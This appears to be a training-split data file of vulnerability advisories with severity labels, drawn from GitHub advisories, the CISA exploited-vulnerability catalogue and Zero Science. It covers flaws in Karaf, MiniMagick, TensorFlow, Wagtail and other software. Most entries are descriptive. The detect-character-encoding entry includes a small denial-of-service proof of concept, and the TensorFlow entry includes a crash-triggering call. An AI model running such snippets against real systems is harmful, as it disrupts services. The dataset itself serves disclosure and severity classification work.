-{"id": "9108db2dfa397a2c77b3", "text": "XML External Entity Reference in Apache Karaf\n\nApache Karaf provides a features deployer, which allows users to \"hot deploy\" a features XML by dropping the file directly in the deploy folder. The features XML is parsed by XMLInputFactory class. Apache Karaf XMLInputFactory class doesn't contain any mitigation codes against XXE. This is a potential security risk as an user can inject external XML entities in Apache Karaf version prior to 4.1.7 or 4.2.2. It has been fixed in Apache Karaf 4.1.7 and 4.2.2 releases.", "text_raw": "XML External Entity Reference in Apache Karaf\n\n[Severity: CRITICAL]\n\nApache Karaf provides a features deployer, which allows users to \"hot deploy\" a features XML by dropping the file directly in the deploy folder. The features XML is parsed by XMLInputFactory class. Apache Karaf XMLInputFactory class doesn't contain any mitigation codes against XXE. This is a potential security risk as an user can inject external XML entities in Apache Karaf version prior to 4.1.7 or 4.2.2. It has been fixed in Apache Karaf 4.1.7 and 4.2.2 releases.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-07", "split": "train"}
-{"id": "cc948634cd0ccffa4734", "text": "MiniMagick Gem for Ruby URI Handling Arbitrary Command Injection\n\n`lib/mini_magick.rb` in the MiniMagick Gem 1.3.1 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.", "text_raw": "MiniMagick Gem for Ruby URI Handling Arbitrary Command Injection\n\n[Severity: HIGH]\n\n`lib/mini_magick.rb` in the MiniMagick Gem 1.3.1 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "fc686711f33cf5d2b16f", "text": "Oracle Solaris and Zettabyte File System (ZFS) Unspecified Vulnerability\n\nAffected: Oracle Solaris and Zettabyte File System (ZFS)\n\nOracle Solaris and Oracle ZFS Storage Appliance Kit contain an unspecified vulnerability causing high impacts to confidentiality, integrity, and availability of affected systems.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Oracle Solaris and Zettabyte File System (ZFS) Unspecified Vulnerability\n\nAffected: Oracle Solaris and Zettabyte File System (ZFS)\n\nOracle Solaris and Oracle ZFS Storage Appliance Kit contain an unspecified vulnerability causing high impacts to confidentiality, integrity, and availability of affected systems.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e0f27d3522cde28a7143", "text": "Incorrect Authorization in ORY Oathkeeper\n\nORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. When you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid. A patch will be released with `v0.38.12-beta.1`. Per default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist. The cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes. The vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process.", "text_raw": "Incorrect Authorization in ORY Oathkeeper\n\n[Severity: HIGH]\n\nORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. When you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid. A patch will be released with `v0.38.12-beta.1`. Per default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist. The cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes. The vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-24", "split": "train"}
-{"id": "5e81fbd9a15ef2094c21", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "eebf73a32243b46ac41d", "text": "Spring Framework, versions 5.0.x prior to 5.0.7 and 4.3.x prior to 4.3.18 and older unsupported versions, allows web applications to enable cross-domain requests via JSONP (JSON with Padding) through AbstractJsonpResponseBodyAdvice for REST controllers and MappingJackson2JsonView for browser requests. Both are not enabled by default in Spring Framework nor Spring Boot, however, when MappingJackson2JsonView is configured in an application, JSONP support is automatically ready to use through the \"jsonp\" and \"callback\" JSONP parameters, enabling cross-domain requests.", "text_raw": "Moderate severity vulnerability that affects org.springframework:spring-core\n\n[Severity: MEDIUM]\n\nSpring Framework, versions 5.0.x prior to 5.0.7 and 4.3.x prior to 4.3.18 and older unsupported versions, allows web applications to enable cross-domain requests via JSONP (JSON with Padding) through AbstractJsonpResponseBodyAdvice for REST controllers and MappingJackson2JsonView for browser requests. Both are not enabled by default in Spring Framework nor Spring Boot, however, when MappingJackson2JsonView is configured in an application, JSONP support is automatically ready to use through the \"jsonp\" and \"callback\" JSONP parameters, enabling cross-domain requests.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "7c5688961f80124043bb", "text": "Out-of-bounds Write in ChakraCore\n\nChakra Scripting Engine Memory Corruption Vulnerability This CVE ID is unique from CVE-2020-17048.", "text_raw": "Out-of-bounds Write in ChakraCore\n\n[Severity: HIGH]\n\nChakra Scripting Engine Memory Corruption Vulnerability This CVE ID is unique from CVE-2020-17048.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "a7e9aa0feb106ae02edd", "text": "Insecure randomness in socket.io\n\nAffected versions of `socket.io` depend on `Math.random()` to create socket IDs, and therefore the IDs are predictable. With enough information on prior IDs, an attacker may be able to guess the socket ID and gain access to socket.io servers without authorization.\n\n## Recommendation\n\nUpdate to v0.9.7 or later.", "text_raw": "Insecure randomness in socket.io\n\n[Severity: HIGH]\n\nAffected versions of `socket.io` depend on `Math.random()` to create socket IDs, and therefore the IDs are predictable. With enough information on prior IDs, an attacker may be able to guess the socket ID and gain access to socket.io servers without authorization.\n\n\n## Recommendation\n\nUpdate to v0.9.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-07", "split": "train"}
-{"id": "7becf50c4371785036d4", "text": "BACnet Test Server 1.01 Remote Denial of Service Exploit", "text_raw": "BACnet Test Server 1.01 Remote Denial of Service Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-10-06", "split": "train"}
-{"id": "3b49e63d66349175785a", "text": "Ansible fails to properly sanitize fact variables sent from the Ansible controller\n\nAnsible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.", "text_raw": "Ansible fails to properly sanitize fact variables sent from the Ansible controller\n\n[Severity: CRITICAL]\n\nAnsible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "6253046ab8df40a1758e", "text": "Untrusted search path vulnerability in Atom Electron before 0.33.5 allows local users to gain privileges via a Trojan horse Node.js module in a parent directory of a directory named on a require line.", "text_raw": "High severity vulnerability that affects electron\n\n[Severity: HIGH]\n\nUntrusted search path vulnerability in Atom Electron before 0.33.5 allows local users to gain privileges via a Trojan horse Node.js module in a parent directory of a directory named on a require line.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "566ad7fa09ab57895a56", "text": "WordPress Snap Creek Duplicator Plugin File Download Vulnerability\n\nAffected: WordPress Snap Creek Duplicator Plugin\n\nWordPress Snap Creek Duplicator plugin contains a file download vulnerability when an administrator creates a new copy of their site that allows an attacker to download the generated files from their Wordpress dashboard. This vulnerability affects Duplicator and Dulplicator Pro.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "WordPress Snap Creek Duplicator Plugin File Download Vulnerability\n\nAffected: WordPress Snap Creek Duplicator Plugin\n\nWordPress Snap Creek Duplicator plugin contains a file download vulnerability when an administrator creates a new copy of their site that allows an attacker to download the generated files from their Wordpress dashboard. This vulnerability affects Duplicator and Dulplicator Pro.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "102957627b00dec48317", "text": "Out-of-bounds write in Microsoft.ChakraCore\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197.", "text_raw": "Out-of-bounds write in Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "4218db1bbb333f441135", "text": "Potential memory exposure in dns-packet\n\nThis affects the package dns-packet before versions 1.3.2 and 5.2.2. It creates buffers with allocUnsafe and does not always fill them before forming network packets. This can expose internal application memory over unencrypted network when querying crafted invalid domain names.", "text_raw": "Potential memory exposure in dns-packet\n\n[Severity: HIGH]\n\nThis affects the package dns-packet before versions 1.3.2 and 5.2.2. It creates buffers with allocUnsafe and does not always fill them before forming network packets. This can expose internal application memory over unencrypted network when querying crafted invalid domain names.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "981e5bb6cc268346d04d", "text": "Private data exposure via REST API in BuddyPress\n\nIn BuddyPress before 5.1.2, requests to a certain REST API endpoint can result in private user data getting exposed. Authentication is not needed.\n\nThis has been patched in version 5.1.2.", "text_raw": "Private data exposure via REST API in BuddyPress\n\n[Severity: HIGH]\n\nIn BuddyPress before 5.1.2, requests to a certain REST API endpoint can result in private user data getting exposed. Authentication is not needed.\n\nThis has been patched in version 5.1.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-24", "split": "train"}
-{"id": "693ff94563ff4fefabdb", "text": "constructEvent does not verify header\n\n### Impact\nAnyone verifying a Stripe webhook request via this library's `constructEvent` function.\n\n### Patches\nUpgrade to 1.1.4.\n\n### Workarounds\nUse `await verifyHeader(...)` directly instead of `constructEvent`.\n\n### References\nhttps://github.com/worker-tools/stripe-webhook/issues/1", "text_raw": "constructEvent does not verify header\n\n[Severity: HIGH]\n\n### Impact\nAnyone verifying a Stripe webhook request via this library's `constructEvent` function.\n\n### Patches\nUpgrade to 1.1.4. \n\n### Workarounds\nUse `await verifyHeader(...)` directly instead of `constructEvent`.\n\n### References\nhttps://github.com/worker-tools/stripe-webhook/issues/1\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-28", "split": "train"}
-{"id": "788e9cc75e9ca34e116f", "text": "Non-atomic writes in cgc\n\n# Multiple soundness issues in `Ptr` in cgc\n\nAffected versions of this crate have the following issues:\n\n1. `Ptr` implements `Send` and `Sync` for all types, this can lead to data\n   races by sending non-thread safe types across threads.\n\n2. `Ptr::get` violates mutable alias rules by returning multiple mutable\n   references to the same object.\n\n3. `Ptr::write` uses non-atomic writes to the underlying pointer. This means\n   that when used across threads it can lead to data races.", "text_raw": "Non-atomic writes in cgc\n\n[Severity: MEDIUM]\n\n# Multiple soundness issues in `Ptr` in cgc\n\nAffected versions of this crate have the following issues:\n\n1. `Ptr` implements `Send` and `Sync` for all types, this can lead to data\n   races by sending non-thread safe types across threads.\n\n2. `Ptr::get` violates mutable alias rules by returning multiple mutable\n   references to the same object.\n\n3. `Ptr::write` uses non-atomic writes to the underlying pointer. This means\n   that when used across threads it can lead to data races.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "34f2ab1f1ea8be28cadb", "text": "Missing Release of Memory after Effective Lifetime in detect-character-encoding\n\n### Impact\n\nIn detect-character-encoding v0.3.0 and earlier, allocated memory is not released.\n\n### Patches\n\nThe problem has been patched in [detect-character-encoding v0.3.1](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.3.1).\n\n### CVSS score\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst detectCharacterEncoding = require(\"detect-character-encoding\");\n\nconst app = express();\n\napp.get(\"/\", (req, res) => {\n  detectCharacterEncoding(Buffer.from(\"foo\"));\n\nres.end();\n});\n\napp.listen(3000);\n```\n\n`hey -n 1000000 http://localhost:3000` ([`hey`](https://github.com/rakyll/hey)) causes the Node.js process to consume more and more memory.\n\n### References\n\n- https://github.com/sonicdoe/detect-character-encoding/commit/d44356927b92e3b13e178071bf6d7c671766f588\n- https://github.com/sonicdoe/detect-character-encoding/pull/6", "text_raw": "Missing Release of Memory after Effective Lifetime in detect-character-encoding\n\n[Severity: HIGH]\n\n### Impact\n\nIn detect-character-encoding v0.3.0 and earlier, allocated memory is not released.\n\n### Patches\n\nThe problem has been patched in [detect-character-encoding v0.3.1](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.3.1).\n\n### CVSS score\n\n[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C)\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\nSince detect-character-encoding is a library, the scoring is based on the “[reasonable worst-case implementation scenario](https://www.first.org/cvss/v3.1/user-guide#3-7-Scoring-Vulnerabilities-in-Software-Libraries-and-Similar)”, namely, using detect-character-encoding in a program accessible over the internet which becomes unavailable when running out of memory. Depending on your specific implementation, the vulnerability’s severity in your program may be different.\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst detectCharacterEncoding = require(\"detect-character-encoding\");\n\nconst app = express();\n\napp.get(\"/\", (req, res) => {\n  detectCharacterEncoding(Buffer.from(\"foo\"));\n\n  res.end();\n});\n\napp.listen(3000);\n```\n\n`hey -n 1000000 http://localhost:3000` ([`hey`](https://github.com/rakyll/hey)) causes the Node.js process to consume more and more memory.\n\n### References\n\n- https://github.com/sonicdoe/detect-character-encoding/commit/d44356927b92e3b13e178071bf6d7c671766f588\n- https://github.com/sonicdoe/detect-character-encoding/pull/6", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "9e418fab48ce8de56821", "text": "Kallithea 0.2.9 (came_from) HTTP Response Splitting Vulnerability", "text_raw": "Kallithea 0.2.9 (came_from) HTTP Response Splitting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-10-07", "split": "train"}
-{"id": "3a46cf22dd893011c8a9", "text": "Timing side channel vulnerability in endpoint request handler in Vaadin 15-19\n\nNon-constant-time comparison of CSRF tokens in endpoint request handler in `com.vaadin:flow-server` versions 3.0.0 through 5.0.3 (Vaadin 15.0.0 through 18.0.6), and com.vaadin:fusion-endpoint version 6.0.0 (Vaadin 19.0.0) allows attacker to guess a security token for Fusion endpoints via timing attack.\n\n- https://vaadin.com/security/cve-2021-31406", "text_raw": "Timing side channel vulnerability in endpoint request handler in Vaadin 15-19\n\n[Severity: MEDIUM]\n\nNon-constant-time comparison of CSRF tokens in endpoint request handler in `com.vaadin:flow-server` versions 3.0.0 through 5.0.3 (Vaadin 15.0.0 through 18.0.6), and com.vaadin:fusion-endpoint version 6.0.0 (Vaadin 19.0.0) allows attacker to guess a security token for Fusion endpoints via timing attack.\n\n- https://vaadin.com/security/cve-2021-31406", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "f377f6150bb98cb97d55", "text": "SQL Injection in NukeViet\n\nmodules/banners/funcs/click.php in NukeViet before 4.3.04 has a SQL INSERT statement with raw header data from an HTTP request (e.g., Referer and User-Agent).", "text_raw": "SQL Injection in NukeViet\n\n[Severity: CRITICAL]\n\nmodules/banners/funcs/click.php in NukeViet before 4.3.04 has a SQL INSERT statement with raw header data from an HTTP request (e.g., Referer and User-Agent).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "ecd3dc0442a10367c6d0", "text": "Out of bounds read in xcb\n\nAn issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because there is an out-of-bounds read in xcb::xproto::change_property(), as demonstrated by a format=32 T=u8 situation where out-of-bounds bytes are sent to an X server.", "text_raw": "Out of bounds read in xcb\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because there is an out-of-bounds read in xcb::xproto::change_property(), as demonstrated by a format=32 T=u8 situation where out-of-bounds bytes are sent to an X server.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1f584876a47bb29c3ab2", "text": "Django Incorrect Default Permissions\n\nAn issue was discovered in Django 2.2 before 2.2.16, 3.0 before 3.0.10, and 3.1 before 3.1.1 (when Python 3.7+ is used). FILE_UPLOAD_DIRECTORY_PERMISSIONS mode was not applied to intermediate-level directories created in the process of uploading files. It was also not applied to intermediate-level collected static directories when using the collectstatic management command.", "text_raw": "Django Incorrect Default Permissions\n\n[Severity: HIGH]\n\nAn issue was discovered in Django 2.2 before 2.2.16, 3.0 before 3.0.10, and 3.1 before 3.1.1 (when Python 3.7+ is used). FILE_UPLOAD_DIRECTORY_PERMISSIONS mode was not applied to intermediate-level directories created in the process of uploading files. It was also not applied to intermediate-level collected static directories when using the collectstatic management command.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "a7b65fde482460939600", "text": "Reference binding to nullptr in `MatrixDiagV*` ops\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixDiagV*`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixDiagV3(\n  diagonal=[1,0],\n  k=[],\n  num_rows=[1,2,3],\n  num_cols=[4,5],\n  padding_value=[],\n  align='RIGHT_RIGHT')\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong:\n\n```cc\n  auto& diag_index = context->input(1);\n  ...\n  lower_diag_index = diag_index.flat<int32>()(0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f2a673bd34f0d64b8e40a551ac78989d16daad09](https://github.com/tensorflow/tensorflow/commit/f2a673bd34f0d64b8e40a551ac78989d16daad09).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Reference binding to nullptr in `MatrixDiagV*` ops\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixDiagV*`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixDiagV3(\n  diagonal=[1,0],\n  k=[],\n  num_rows=[1,2,3],\n  num_cols=[4,5],\n  padding_value=[],\n  align='RIGHT_RIGHT')\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong:\n\n```cc\n  auto& diag_index = context->input(1);\n  ...\n  lower_diag_index = diag_index.flat<int32>()(0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f2a673bd34f0d64b8e40a551ac78989d16daad09](https://github.com/tensorflow/tensorflow/commit/f2a673bd34f0d64b8e40a551ac78989d16daad09).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b1665163981d7df79f40", "text": "Prototype Pollution in connie-lang\n\nThe package connie-lang before 0.1.1 are vulnerable to Prototype Pollution in the configuration language library used by connie.", "text_raw": "Prototype Pollution in connie-lang\n\n[Severity: CRITICAL]\n\nThe package connie-lang before 0.1.1 are vulnerable to Prototype Pollution in the configuration language library used by connie.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "094b980771c2a3e2ceec", "text": "Improper validation of URLs ('Cross-site Scripting') in Wagtail rich text fields\n\n### Impact\nWhen saving the contents of a rich text field in the admin interface, Wagtail does not apply server-side checks to ensure that link URLs use a valid protocol. A malicious user with access to the admin interface could thus craft a POST request to publish content with `javascript:` URLs containing arbitrary code. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\nPatched versions have been released as Wagtail 2.11.7 (for the LTS 2.11 branch) and Wagtail 2.12.4 (for the current 2.12 branch).\n\n### Workarounds\nFor sites that cannot easily upgrade to a current supported version, the vulnerability can be patched by adding the following code to a `wagtail_hooks.py` module in any installed app:\n\n```python\nfrom draftjs_exporter.dom import DOM\nfrom wagtail.admin.rich_text.converters.html_to_contentstate import ExternalLinkElementHandler, PageLinkElementHandler\nfrom wagtail.core import hooks\nfrom wagtail.core.whitelist import check_url\n\ndef link_entity(props):\n    id_ = props.get('id')\n    link_props = {}\n\nif id_ is not None:\n        link_props['linktype'] = 'page'\n        link_props['id'] = id_\n    else:\n        link_props['href'] = check_url(props.get('url'))\n\nreturn DOM.create_element('a', link_props, props['children'])\n\n@hooks.register('register_rich_text_features', order=1)\ndef register_link(features):\n    features.register_converter_rule('contentstate', 'link', {\n        'from_database_format': {\n            'a[href]': ExternalLinkElementHandler('LINK'),\n            'a[linktype=\"page\"]': PageLinkElementHandler('LINK'),\n        },\n        'to_database_format': {\n            'entity_decorators': {'LINK': link_entity}\n        }\n    })\n```\n\n### Acknowledgements\nMany thanks to Kevin Breen for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at security@wagtail.io (if you wish to send encrypted email, the public key ID is `0x6ba1e1a86e0f8ce8`)", "text_raw": "Improper validation of URLs ('Cross-site Scripting') in Wagtail rich text fields\n\n[Severity: HIGH]\n\n### Impact\nWhen saving the contents of a rich text field in the admin interface, Wagtail does not apply server-side checks to ensure that link URLs use a valid protocol. A malicious user with access to the admin interface could thus craft a POST request to publish content with `javascript:` URLs containing arbitrary code. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\nPatched versions have been released as Wagtail 2.11.7 (for the LTS 2.11 branch) and Wagtail 2.12.4 (for the current 2.12 branch).\n\n### Workarounds\nFor sites that cannot easily upgrade to a current supported version, the vulnerability can be patched by adding the following code to a `wagtail_hooks.py` module in any installed app:\n\n```python\nfrom draftjs_exporter.dom import DOM\nfrom wagtail.admin.rich_text.converters.html_to_contentstate import ExternalLinkElementHandler, PageLinkElementHandler\nfrom wagtail.core import hooks\nfrom wagtail.core.whitelist import check_url\n\n\ndef link_entity(props):\n    id_ = props.get('id')\n    link_props = {}\n\n    if id_ is not None:\n        link_props['linktype'] = 'page'\n        link_props['id'] = id_\n    else:\n        link_props['href'] = check_url(props.get('url'))\n\n    return DOM.create_element('a', link_props, props['children'])\n\n\n@hooks.register('register_rich_text_features', order=1)\ndef register_link(features):\n    features.register_converter_rule('contentstate', 'link', {\n        'from_database_format': {\n            'a[href]': ExternalLinkElementHandler('LINK'),\n            'a[linktype=\"page\"]': PageLinkElementHandler('LINK'),\n        },\n        'to_database_format': {\n            'entity_decorators': {'LINK': link_entity}\n        }\n    })\n```\n\n### Acknowledgements\nMany thanks to Kevin Breen for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at security@wagtail.io (if you wish to send encrypted email, the public key ID is `0x6ba1e1a86e0f8ce8`)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "19da16f2cf546f08e18e", "text": "rails-html-sanitizer Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in `lib/rails/html/scrubbers.rb` in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via a crafted CDATA node.", "text_raw": "rails-html-sanitizer Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `lib/rails/html/scrubbers.rb` in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via a crafted CDATA node.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "023456f3f75d0bc2acaa", "text": "Eibiz i-Media Server Digital Signage 3.8.0 (createUser) Authentication Bypass (Add Admin)", "text_raw": "Eibiz i-Media Server Digital Signage 3.8.0 (createUser) Authentication Bypass (Add Admin)\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2020-08-21", "split": "train"}
-{"id": "d9a1fb0f1a6fa216fc55", "text": "Command injection in Gerapy\n\nThis affects the package Gerapy from 0 and before 0.9.3. The input being passed to Popen, via the project_configure endpoint, isn’t being sanitized.", "text_raw": "Command injection in Gerapy\n\n[Severity: CRITICAL]\n\nThis affects the package Gerapy from 0 and before 0.9.3. The input being passed to Popen, via the project_configure endpoint, isn’t being sanitized.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
